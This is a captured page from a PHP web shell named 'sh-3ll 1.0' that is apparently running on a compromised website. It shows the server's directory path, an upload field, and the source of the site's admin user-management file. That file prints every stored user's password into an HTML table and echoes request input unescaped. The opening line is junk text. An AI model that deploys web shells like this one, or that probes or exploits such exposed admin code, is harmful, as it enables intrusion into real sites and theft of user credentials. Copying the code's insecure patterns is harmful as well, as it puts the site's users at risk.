fhdfhdfhdfhdfhdfhdfdfhdfhdfhdhfdfhdfhdfhd dfhdfhdfhdfhdfhdfhdfhdfdfhdfhdfhdhfdfhdfhdfhdfh bnmbertsurrttrtrtrtrjhjhjjhjhhjhjhjhf'tdfg php sh-3ll

HOME


sh-3ll 1.0
DIR:/home/u1105814/public_html/rarental.co.id/admin/modul/mod_user/
Upload File :
Current File : /home/u1105814/public_html/rarental.co.id/admin/modul/mod_user/user.php
<script LANGUAGE="JavaScript"> 
<!-- 
function confirmSubmit() {
var msg;
msg= "Anda yakin akan menghapus?";
var agree=confirm(msg);
if (agree)
return true ;
else
return false ;
}
// -->
</script>
<?php
$module=$_GET['module'];
$aksi="modul/mod_review/aksi_review.php";
switch($_GET['act']){
  // Tampil Review
  default:
     echo "
    <section class='content'>
      <div class='container-fluid'>
        <div class='row'>
          <div class='col-12'>
            <div class='card'>
              <div class='card-header'>
                <h3 class='card-title'><a href='?module=add_user' class='btn btn-primary'>Tambah</a></h3>
              </div>
              <div class='card-body'>
                <table id='example1' class='table table-bordered table-striped'>
                  <thead>
                  <tr>
                    <th>ID User</th>
                    <th>Nama User</th>
                    <th>Role User</th>
                    <th>Password</th>
                    <th>Manage</th>
                  </tr>
                  </thead>
                  <tbody>";
                  $tampil=mysqli_query($connect,"SELECT * FROM pengguna");
                  $no=1;
                  while ($r=mysqli_fetch_array($tampil)){
                  $id_user = $r['user_id'];
                  $nama = $r['nama'];
                  $akses = $r['akses'];
                  $password = $r['password'];
                  echo "
                  <tr>
                    <td>$id_user</td>
                    <td>$nama</td>
                    <td>$akses</td>
                    <td>$password</td>
                    <td><a href='?module=edit_user&id=$id_user' class='btn btn-success'>Update</a>||<a href='modul/mod_user/aksi_user.php?module=user&act=delete&id=$id_user' class='btn btn-danger'>Hapus</a></td>
                  </tr>";
                }
                echo "
                </table>
              </div>
            </div>
          </div>
        </div>
      </div>
    </section>";
 
    break;
 
}
?>